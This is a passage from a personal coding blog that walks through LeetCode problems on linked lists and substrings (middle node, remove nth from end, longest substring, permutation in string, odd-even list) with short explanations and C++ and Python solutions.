</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34; &#34;</span><span style="color:#f92672">.</span>join([word[::<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>] <span style="color:#66d9ef">for</span> word <span style="color:#f92672">in</span> s<span style="color:#f92672">.</span>split()])
</span></span></code></pre></div><h2 id="day-5-876-middle-of-the-linked-list">Day 5: <a href="https://leetcode.com/problems/middle-of-the-linked-list/">876. Middle of the Linked List</a></h2>
<p>
  <img src="/img/myleetcodejourney/876_problem.png#center" alt="">

</p>
<p>Solution: Get 2 pointers to iterate at different speed, the faster one is twice as fast as the slower one. When the faster pointer reach the end, the slower pointer should be in the middle.</p>
<p>Accepted C++ implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">/**
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Definition for singly-linked list.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * struct ListNode {
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     int val;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode *next;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode() : val(0), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x) : val(x), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x, ListNode *next) : val(x), next(next) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * };
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    ListNode<span style="color:#f92672">*</span> middleNode(ListNode<span style="color:#f92672">*</span> head) {
</span></span><span style="display:flex;"><span>        ListNode <span style="color:#f92672">*</span>slow <span style="color:#f92672">=</span> head, <span style="color:#f92672">*</span>fast <span style="color:#f92672">=</span> head;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (fast <span style="color:#f92672">!=</span> NULL <span style="color:#f92672">&amp;&amp;</span> fast <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">!=</span> NULL) {
</span></span><span style="display:flex;"><span>            slow <span style="color:#f92672">=</span> slow <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>            fast <span style="color:#f92672">=</span> fast <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> slow;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>For Python, I tried to store all nodes in a list and then pick the middle out. Unexptectedly, 2 algorithms run at exactly same speed (28ms) and memory (14.1 MB):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Should be slower, but wasn&#39;t.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Definition for singly-linked list.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># class ListNode:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#     def __init__(self, val=0, next=None):</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.val = val</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.next = next</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">middleNode</span>(self, head: Optional[ListNode]) <span style="color:#f92672">-&gt;</span> Optional[ListNode]:
</span></span><span style="display:flex;"><span>        allList: List[ListNode] <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>        currentNode <span style="color:#f92672">=</span> head
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>:
</span></span><span style="display:flex;"><span>            allList<span style="color:#f92672">.</span>append(currentNode)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> currentNode<span style="color:#f92672">.</span>next: <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>            currentNode <span style="color:#f92672">=</span> currentNode<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> allList[len(allList) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>]
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">middleNode</span>(self, head: Optional[ListNode]) <span style="color:#f92672">-&gt;</span> Optional[ListNode]:
</span></span><span style="display:flex;"><span>        slow: ListNode <span style="color:#f92672">=</span> head
</span></span><span style="display:flex;"><span>        fast: ListNode <span style="color:#f92672">=</span> head
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> fast <span style="color:#f92672">!=</span> <span style="color:#66d9ef">None</span> <span style="color:#f92672">and</span> fast<span style="color:#f92672">.</span>next <span style="color:#f92672">!=</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>            slow <span style="color:#f92672">=</span> slow<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>            fast <span style="color:#f92672">=</span> fast<span style="color:#f92672">.</span>next<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> slow
</span></span></code></pre></div><h2 id="day-5-19-remove-nth-node-from-end-of-list">Day 5: <a href="https://leetcode.com/problems/remove-nth-node-from-end-of-list/">19. Remove Nth Node From End of List</a></h2>
<p>
  <img src="/img/myleetcodejourney/19_problem.png#center" alt="">

</p>
<p>Again, the solution is to have 2 pointers run with the distance <code>n</code>. When get to the node need to be deleted, simply link the previous node to the next node.</p>
<p>C++ implementation (faster than 100% and run at 0ms. lmao proud :D):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">/**
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Definition for singly-linked list.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * struct ListNode {
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     int val;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode *next;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode() : val(0), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x) : val(x), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x, ListNode *next) : val(x), next(next) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * };
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    ListNode<span style="color:#f92672">*</span> removeNthFromEnd(ListNode<span style="color:#f92672">*</span> head, <span style="color:#66d9ef">int</span> n) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (n <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) <span style="color:#66d9ef">return</span> head;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        ListNode <span style="color:#f92672">*</span>fast <span style="color:#f92672">=</span> head, <span style="color:#f92672">*</span>slow <span style="color:#f92672">=</span> head;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> fastIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, slowIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (fast <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">!=</span> NULL) {
</span></span><span style="display:flex;"><span>            fast <span style="color:#f92672">=</span> fast <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">++</span>fastIndex;
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (fastIndex <span style="color:#f92672">-</span> slowIndex <span style="color:#f92672">&gt;</span> n) {
</span></span><span style="display:flex;"><span>                slow <span style="color:#f92672">=</span> slow <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">++</span>slowIndex;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// For edge case
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">int</span> linkedListSize <span style="color:#f92672">=</span> fastIndex <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (linkedListSize <span style="color:#f92672">==</span> n) <span style="color:#66d9ef">return</span> head <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Deleting by wiring previous to after deleting element
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        slow <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">=</span> slow <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> head;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Python implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Definition for singly-linked list.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># class ListNode:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#     def __init__(self, val=0, next=None):</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.val = val</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.next = next</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">removeNthFromEnd</span>(self, head: Optional[ListNode], n: int) <span style="color:#f92672">-&gt;</span> Optional[ListNode]:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> n <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>: <span style="color:#66d9ef">return</span> head
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        fast: ListNode <span style="color:#f92672">=</span> head
</span></span><span style="display:flex;"><span>        slow: ListNode <span style="color:#f92672">=</span> head
</span></span><span style="display:flex;"><span>        fastIndex <span style="color:#f92672">=</span> slowIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> fast<span style="color:#f92672">.</span>next <span style="color:#f92672">!=</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>            fast <span style="color:#f92672">=</span> fast<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>            fastIndex <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> fastIndex <span style="color:#f92672">-</span> slowIndex <span style="color:#f92672">&gt;</span> n:
</span></span><span style="display:flex;"><span>                slow <span style="color:#f92672">=</span> slow<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>                slowIndex <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        linkedListSize: int <span style="color:#f92672">=</span> fastIndex <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> n <span style="color:#f92672">==</span> linkedListSize:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> head<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Deleting</span>
</span></span><span style="display:flex;"><span>        slow<span style="color:#f92672">.</span>next <span style="color:#f92672">=</span> slow<span style="color:#f92672">.</span>next<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> head
</span></span></code></pre></div><h2 id="day-6-3-longest-substring-without-repeating-character">Day 6: <a href="https://leetcode.com/problems/longest-substring-without-repeating-characters/">3. Longest Substring Without Repeating Character</a></h2>
<p>
  <img src="/img/myleetcodejourney/3_problem.png#center" alt="">

</p>
<p>The general idea is: Store the last position that does not contain a certain character, for every character in the string. When meet the next occurence of that character, we can immediately know length of the longest substring up to that point.</p>
<p>C++ implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> lengthOfLongestSubstring(string s) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> maxcount <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        unordered_map<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">char</span>, <span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span> index;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> left <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, right <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; right <span style="color:#f92672">&lt;</span> s.size(); <span style="color:#f92672">++</span>right) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (index.find(s[right]) <span style="color:#f92672">!=</span> index.end()) {
</span></span><span style="display:flex;"><span>                left <span style="color:#f92672">=</span> max(left, index[s[right]]);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            maxcount <span style="color:#f92672">=</span> max(maxcount, right <span style="color:#f92672">-</span> left <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>            index[s[right]] <span style="color:#f92672">=</span> right <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> maxcount;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Python implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">lengthOfLongestSubstring</span>(self, s: str) <span style="color:#f92672">-&gt;</span> int:
</span></span><span style="display:flex;"><span>        maxcount: int <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        indexes: dict <span style="color:#f92672">=</span> {}
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(len(s)):
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> s[j] <span style="color:#f92672">in</span> indexes:
</span></span><span style="display:flex;"><span>                i <span style="color:#f92672">=</span> max(i, indexes[s[j]])
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            maxcount <span style="color:#f92672">=</span> max(maxcount, j <span style="color:#f92672">-</span> i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>            indexes[s[j]] <span style="color:#f92672">=</span> j <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> maxcount
</span></span></code></pre></div><h2 id="day-6-567-permutation-in-string">Day 6: <a href="https://leetcode.com/problems/permutation-in-string/">567. Permutation in String</a></h2>
<p>
  <img src="/img/myleetcodejourney/567_problem.png#center" alt="">

</p>
<p>Just count. Since a permutation can never be longer than <code>s1</code>, let&rsquo;s just iterate through <code>s2</code> with a sliding window of length <code>s1</code> and check if it&rsquo;s a permutation by counting number of occurence of every characters.</p>
<p>C++ implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">bool</span> checkInclusion(string s1, string s2) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (s1.size() <span style="color:#f92672">&gt;</span> s2.size())
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> false;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        array<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span>, <span style="color:#ae81ff">26</span><span style="color:#f92672">&gt;</span> s1map <span style="color:#f92672">=</span> {}; <span style="color:#75715e">// all elements will be init to 0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">auto</span> c : s1)
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">++</span>s1map.at((<span style="color:#66d9ef">int</span>)(c <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;a&#39;</span>));
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> start <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; start <span style="color:#f92672">&lt;</span> s2.size() <span style="color:#f92672">-</span> s1.size() <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>; <span style="color:#f92672">++</span>start) {
</span></span><span style="display:flex;"><span>            array<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span>, <span style="color:#ae81ff">26</span><span style="color:#f92672">&gt;</span> s2map <span style="color:#f92672">=</span> {};
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> start; i <span style="color:#f92672">&lt;</span> start <span style="color:#f92672">+</span> s1.size(); <span style="color:#f92672">++</span>i)
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">++</span>s2map.at((<span style="color:#66d9ef">int</span>)(s2[i] <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;a&#39;</span>));
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (s1map <span style="color:#f92672">==</span> s2map)
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span> true;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> false;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Python implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">checkInclusion</span>(self, s1: str, s2: str) <span style="color:#f92672">-&gt;</span> bool:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> len(s1) <span style="color:#f92672">&gt;</span> len(s2):
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        s1map <span style="color:#f92672">=</span> [<span style="color:#ae81ff">0</span>] <span style="color:#f92672">*</span> <span style="color:#ae81ff">26</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> s1:
</span></span><span style="display:flex;"><span>            s1map[ord(char) <span style="color:#f92672">-</span> ord(<span style="color:#e6db74">&#39;a&#39;</span>)] <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Sliding window</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> start <span style="color:#f92672">in</span> range(len(s2) <span style="color:#f92672">-</span> len(s1) <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>):
</span></span><span style="display:flex;"><span>            s2map <span style="color:#f92672">=</span> [<span style="color:#ae81ff">0</span>] <span style="color:#f92672">*</span> <span style="color:#ae81ff">26</span>
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> range(start, start <span style="color:#f92672">+</span> len(s1)):
</span></span><span style="display:flex;"><span>                s2map[ord(s2[char]) <span style="color:#f92672">-</span> ord(<span style="color:#e6db74">&#39;a&#39;</span>)] <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> s1map <span style="color:#f92672">==</span> s2map:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">False</span>
</span></span></code></pre></div><h1 id="daily-coding-problems">Daily coding problems</h1>
<h2 id="december-2nd-328-odd-even-linked-list">December 2nd: <a href="https://leetcode.com/problems/odd-even-linked-list">328. Odd Even Linked List</a></h2>
<p>
  <img src="/img/myleetcodejourney/328_problem.png#center" alt="">

</p>
<p>Accepted Python solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Definition for singly-linked list.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># class ListNode:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#     def __init__(self, val=0, next=None):</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.val = val</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.next = next</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">move2Nodes</span>(self, node: ListNode) <span style="color:#f92672">-&gt;</span> ListNode:
</span></span><span style="display:flex;"><span>        node<span style="color:#f92672">.</span>next <span style="color:#f92672">=</span> node<span style="color:#f92672">.</span>next<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> node<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">oddEvenList</span>(self, head: Optional[ListNode]) <span style="color:#f92672">-&gt;</span> Optional[ListNode]:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> head <span style="color:#f92672">==</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> head
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        oddNode: ListNode <span style="color:#f92672">=</span> head
</span></span><span style="display:flex;"><span>        evenNode: ListNode <span style="color:#f92672">=</span> head<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        firstEvenElement: ListNode <span style="color:#f92672">=</span> evenNode
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> evenNode <span style="color:#f92672">!=</span> <span style="color:#66d9ef">None</span> <span style="color:#f92672">and</span> evenNode<span style="color:#f92672">.</span>next <span style="color:#f92672">!=</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>            oddNode <span style="color:#f92672">=</span> self<span style="color:#f92672">.</span>move2Nodes(oddNode)
</span></span><span style="display:flex;"><span>            evenNode <span style="color:#f92672">=</span> self<span style="color:#f92672">.</span>move2Nodes(evenNode)
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        oddNode<span style="color:#f92672">.</span>next <span style="color:#f92672">=</span> firstEvenElement
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> head
</span></span></code></pre></div><p>Accepted C++ solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">/**
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Definition for singly-linked list.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * struct ListNode {
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     int val;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode *next;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode() : val(0), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x) : val(x), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x, ListNode *next) : val(x), next(next) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * };
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span> movePointer2Nodes(ListNode<span style="color:#f92672">*&amp;</span> pointer) {
</span></span><span style="display:flex;"><span>        pointer <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">=</span> pointer <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>        pointer <span style="color:#f92672">=</span> pointer <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    ListNode<span style="color:#f92672">*</span> <span style="color:#a6e22e">oddEvenList</span>(ListNode<span style="color:#f92672">*</span> head) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (head <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> head;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        ListNode <span style="color:#f92672">*</span>oddPointer <span style="color:#f92672">=</span> head, <span style="color:#f92672">*</span>evenPointer <span style="color:#f92672">=</span> head <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>        ListNode <span style="color:#f92672">*</span>firstEvenElement <span style="color:#f92672">=</span> evenPointer;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Intuition: Use 2 pointers,
